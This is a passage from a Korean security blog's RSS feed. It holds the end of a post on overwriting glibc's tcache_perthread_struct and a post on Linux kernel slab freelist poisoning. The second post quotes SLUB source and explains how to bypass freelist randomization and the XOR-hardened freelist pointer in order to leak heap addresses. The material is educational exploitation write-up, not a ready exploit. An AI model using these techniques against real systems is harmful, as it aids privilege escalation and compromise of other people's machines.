&lt;p data-ke-size=&quot;size16&quot;&gt;tcache 객체는&amp;nbsp;&lt;b&gt;_int_malloc&lt;/b&gt;함수를 통해 초기화 된다. 즉 &lt;b&gt;tcache_perthread_struct&lt;/b&gt;는 힙에 할당된다. 보통 우리가 heap을 보았을 때 제일 위에 있는 0x290짜리 chunk가 &lt;b&gt;tcache_perthread_struct&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1559&quot; data-origin-height=&quot;75&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p7l3G/dJMcaaKRRfw/zwpC7m0Kssq9ONi1o7Bnqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p7l3G/dJMcaaKRRfw/zwpC7m0Kssq9ONi1o7Bnqk/img.png&quot; data-alt=&quot;다음 청크가 tcache_perthread_struct이다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p7l3G/dJMcaaKRRfw/zwpC7m0Kssq9ONi1o7Bnqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp7l3G%2FdJMcaaKRRfw%2FzwpC7m0Kssq9ONi1o7Bnqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1559&quot; height=&quot;75&quot; data-origin-width=&quot;1559&quot; data-origin-height=&quot;75&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;다음 청크가 tcache_perthread_struct이다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. tcache_perthread_struct&amp;nbsp;overwriting&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 해당 청크를 덮으면 어떤 일이 발생할까? 한번 libc_base로 덮고 결과를 보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2234&quot; data-origin-height=&quot;324&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpFfFG/dJMcai9UWuO/uRT1JzNLL0vlveOMN1dQc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpFfFG/dJMcai9UWuO/uRT1JzNLL0vlveOMN1dQc1/img.png&quot; data-alt=&quot;덮기전&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpFfFG/dJMcai9UWuO/uRT1JzNLL0vlveOMN1dQc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcpFfFG%2FdJMcai9UWuO%2FuRT1JzNLL0vlveOMN1dQc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2234&quot; height=&quot;324&quot; data-origin-width=&quot;2234&quot; data-origin-height=&quot;324&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;덮기전&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2258&quot; data-origin-height=&quot;1697&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJ3lFr/dJMcajudQLZ/uDnFKTteugGHAJ0V8n4uP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJ3lFr/dJMcajudQLZ/uDnFKTteugGHAJ0V8n4uP1/img.png&quot; data-alt=&quot;덮은 후&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJ3lFr/dJMcajudQLZ/uDnFKTteugGHAJ0V8n4uP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJ3lFr%2FdJMcajudQLZ%2FuDnFKTteugGHAJ0V8n4uP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2258&quot; height=&quot;1697&quot; data-origin-width=&quot;2258&quot; data-origin-height=&quot;1697&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;덮은 후&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;다음과 같이 아예 tcache의 구조가 망가진 걸 볼 수 있다. 이 상태에서 할당을 받으면 libc_base에 쓰려다가 sisgev가 난다. 이 주소를 우리가 원하는 주소로 바꿀 수 있다면 원하는 주소에 할당이 가능하다. 또한 내가 원하는 주소를 tcache의 fd에 남기면 tcache_perthread_struct가 해당 체인을 이어 주면서 해당 주소에 있는 내용을 자신의 entry에 넣는다. 이를 이용하면 leak도 가능하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reference:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c&lt;/a&gt;&lt;/p&gt;</description>
      <category>Pwnable</category>
      <author>haehet</author>
      <guid isPermaLink="true">https://haehet.tistory.com/26</guid>
      <comments>https://haehet.tistory.com/26#entry26comment</comments>
      <pubDate>Mon, 26 Jan 2026 16:52:00 +0900</pubDate>
    </item>
    <item>
      <title>[Linux kernel] Slab free list poisoning</title>
      <link>https://haehet.tistory.com/25</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 aaw primitive가 얻기 힘든상황에서 사용하기 좋은 slab free list poisoning에 대해서 정리해보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. free free list의 구조&amp;nbsp;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;보통 ptmalloc 같은 userland의 free chunk 구조를 보면 청크 앞부분에 다음 freelist를 저장한다. 커널은 특이하게 중간 부분에 next pointer를 저장한다. 이는 작은 overflow로 캐시의 freelist가 조작되는 것을 막기 위함이다. 해당 내용은 &lt;b&gt;calculate_sizes&amp;nbsp;&lt;/b&gt;함수에서 확인 가능하다.&lt;/p&gt;
&lt;pre id=&quot;code_1769304506014&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	if ((flags &amp;amp; (SLAB_TYPESAFE_BY_RCU | SLAB_POISON)) || s-&amp;gt;ctor ||
	    ((flags &amp;amp; SLAB_RED_ZONE) &amp;amp;&amp;amp;
	     (s-&amp;gt;object_size &amp;lt; sizeof(void *) || slub_debug_orig_size(s)))) {
		/*
		 * Relocate free pointer after the object if it is not
		 * permitted to overwrite the first word of the object on
		 * kmem_cache_free.
		 *
		 * This is the case if we do RCU, have a constructor or
		 * destructor, are poisoning the objects, or are
		 * redzoning an object smaller than sizeof(void *) or are
		 * redzoning an object with slub_debug_orig_size() enabled,
		 * in which case the right redzone may be extended.
		 *
		 * The assumption that s-&amp;gt;offset &amp;gt;= s-&amp;gt;inuse means free
		 * pointer is outside of the object is used in the
		 * freeptr_outside_object() function. If that is no
		 * longer true, the function needs to be modified.
		 */
		s-&amp;gt;offset = size;
		size += sizeof(void *);
	} else {
		/*
		 * Store freelist pointer near middle of object to keep
		 * it away from the edges of the object to avoid small
		 * sized over/underflows from neighboring allocations.
		 */
		s-&amp;gt;offset = ALIGN_DOWN(s-&amp;gt;object_size / 2, sizeof(void *));
	}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 &lt;b&gt;s-&amp;gt;offset&lt;/b&gt;을 object의 &lt;b&gt;중간에&lt;/b&gt; 두는 것을 확인 할 수 있다. 그 후 &lt;b&gt;get_freepointer&lt;/b&gt;함수에서 그걸 다시 참조한다.&lt;/p&gt;
&lt;pre id=&quot;code_1769304711342&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;static inline void *get_freepointer(struct kmem_cache *s, void *object)
{
	unsigned long ptr_addr;
	freeptr_t p;

	object = kasan_reset_tag(object);
	ptr_addr = (unsigned long)object + s-&amp;gt;offset;
	p = *(freeptr_t *)(ptr_addr);
	return freelist_ptr_decode(s, p, ptr_addr);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 간단히 해당 next pointer를 조작함으로써 원하는 곳에 할당을 받을 수 있다. 물론 커널에도 해당 기법을 막기 위한 보안 설정이 있다. 예전 글에서 설명한 적 있지만 더 자세히 설명 해보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2.&amp;nbsp; &lt;b&gt;Freelist randomization&lt;/b&gt; &lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;config_slab_freelist_random으로 활성화 하는 보안 기법이다. 다음과 같은 호출 흐름을 따른다.&lt;/p&gt;
&lt;pre id=&quot;code_1769305526762&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kmem_cache_init -&amp;gt; init_freelist_randomization -&amp;gt; init_cache_random_seq&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1769305572110&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#ifdef CONFIG_SLAB_FREELIST_RANDOM
/* Pre-initialize the random sequence cache */
static int init_cache_random_seq(struct kmem_cache *s)
{
	unsigned int count = oo_objects(s-&amp;gt;oo);
	int err;

	/* Bailout if already initialised */
	if (s-&amp;gt;random_seq)
		return 0;

	err = cache_random_seq_create(s, count, GFP_KERNEL);
	if (err) {
		pr_err(&quot;SLUB: Unable to initialize free list for %s\n&quot;,
			s-&amp;gt;name);
		return err;
	}

	/* Transform to an offset on the set of pages */
	if (s-&amp;gt;random_seq) {
		unsigned int i;

		for (i = 0; i &amp;lt; count; i++)
			s-&amp;gt;random_seq[i] *= s-&amp;gt;size;
	}
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 각 kmem_cache가 가지는 s-&amp;gt;random_seq 값에 따라 freelist를 랜덤화 한다. 공격자가 힙의 할당을 예상하기 어렵게 만들긴 하지만, 많은 heap spraying을 통해 bypass할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. &lt;/b&gt;&lt;b&gt;Slab freelist hardened&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접적으로&amp;nbsp; free list poisoning을 막는 보안기법이다.&lt;/p&gt;
&lt;pre id=&quot;code_1769306071183&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;set_freepointer -&amp;gt; freelist_ptr_encode&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 config_slab_freelist_hardended가 켜져있으면 next를 암호화한다.&lt;/p&gt;
&lt;pre id=&quot;code_1769306468409&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/*
 * Returns freelist pointer (ptr). With hardening, this is obfuscated
 * with an XOR of the address where the pointer is held and a per-cache
 * random number.
 */
static inline freeptr_t freelist_ptr_encode(const struct kmem_cache *s,
					    void *ptr, unsigned long ptr_addr)
{
	unsigned long encoded;

#ifdef CONFIG_SLAB_FREELIST_HARDENED
	encoded = (unsigned long)ptr ^ s-&amp;gt;random ^ swab(ptr_addr);
#else
	encoded = (unsigned long)ptr;
#endif
	return (freeptr_t){.v = encoded};
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bypass는 생각보다 간단하다. &lt;b&gt;Freelist&lt;/b&gt;의 마지막 청크는 &lt;b&gt;next ptr&lt;/b&gt;로 NULL을 가지므로 &lt;b&gt;encoded&lt;/b&gt;는 NULL ^ s-&amp;gt;random ^ swab(ptr_addr)이다. NULL은 xor연산에서 무시 되므로 두개의 encoded pointer를 얻으면 힙 주소를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1769306963845&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;encoded1 = NULL ^ s-&amp;gt;random ^ swab(encode1_addr)
encoded2 = encoed1_addr ^ s-&amp;gt;random ^ swab(encode2_addr)

encode1 ^ encode2 = swab(encode1_addr) ^ encoed1_addr ^ swab(encode2_addr)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 약간의 주소 보정을 하면(힙 주소가 나오게 마스킹해주면 된다.) 완전한 heap 주소를 leak 할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reference:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://spinlock.io/posts/heap-havoc/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://spinlock.io/posts/heap-havoc/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://elixir.bootlin.com/linux/v6.11.4/source/mm/slub.c&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://elixir.bootlin.com/linux/v6.11.4/source/mm/slub.c&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://velog.io/@dandb3/Linux-Kernel-kernel-heap-hardening&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://velog.io/@dandb3/Linux-Kernel-kernel-heap-hardening&lt;/a&gt;&lt;/p&gt;</description>
      <category>Linux kernel</category>
      <category>Slab free list poisoning</category>
      <author>haehet</author>
      <guid isPermaLink="true">https://haehet.tistory.com/25</guid>
      <comments>https://haehet.tistory.com/25#entry25comment</comments>
      <pubDate>Sun, 25 Jan 2026 11:15:59 +0900</pubDate>
    </item>
  </channel>
</rss>